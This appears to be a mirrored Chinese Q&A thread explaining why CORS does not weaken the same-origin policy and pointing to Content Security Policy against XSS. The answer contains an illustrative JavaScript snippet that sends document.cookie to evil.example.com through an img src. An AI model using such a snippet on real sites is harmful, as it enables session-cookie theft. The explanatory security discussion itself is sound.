Fra*_*ler 2 javascript cross-domain same-origin-policy cors
我花了一些时间来了解跨域资源共享的工作原理,我无法相信它的设计如此不安全。
\n\n当托管的网站foo.com
想要通过 ajax 请求存储的资源时bar.com
,浏览器会询问bar.com
是否允许该请求。\n只有bar.com
明确允许异步请求foo.com
(通过Access-Control-Allow-Origin
响应标头)时,资源才会传递到客户端。
如果应该读取数据,则\xc2\xb4s不是安全问题。但如果数据发送到请求的服务器,那就是。
\n\n过去,如果黑客成功在网站中插入 JavaScript 代码以窃取 cookie 数据或其他信息,同源策略\n会阻止他将信息直接发送到自己的服务器。
\n\n但多亏了 CORS,黑客只需启用任意来源,就可以直接将窃取的信息发送到自己的服务器。
\n\n我知道,CORS 仍在开发中,但已经得到几乎所有主流浏览器的支持。那么,CORS为什么要这样设计呢?如果向原始服务器请求发送 ajax 请求的权限,\xc2\xb4t 会更安全吗?
\n\n在我看来,这是安全性的降低。或者不是吗?\n我发现的与 CORS 相关的所有“已知问题”都与请求的服务器上的弱配置有关。
\n同源策略纯粹是为了防止一个源读取另一个 源的资源而设计的。您所描述的副作用(阻止一个源将数据发送到另一个源)从来都不是同源策略目的的一部分。
事实上,从网络诞生之初起,向另一个来源发送数据就从未被禁止过。你的浏览器一直在发送跨域请求:任何时候遇到跨域<img>
、<script>
跨域、<iframe>
跨域等。同源策略只是限制脚本读取这些资源的能力;它从未限制浏览器获取它们并向用户显示它们的能力。
考虑以下代码:
var img = document.createElement("img");
img.src = "http://evil.example.com/steal?cookie=" + document.cookie;
Run Code Online (Sandbox Code Playgroud)
这将创建:
<img src="http://evil.example.com/steal?cookie=SESSION=dfgh6r...">
Run Code Online (Sandbox Code Playgroud)
evil.example.com
当 cookie 数据添加到页面的 DOM 时,它将发送 cookie 数据。同源策略从来没有阻止过这种行为。
如果您有兴趣将允许您的页面发送数据的来源列入白名单,那么您需要一个内容安全策略,该策略被明确设计为 XSS 缓解机制。
归档时间: |
|
查看次数: |
626 次 |
最近记录: |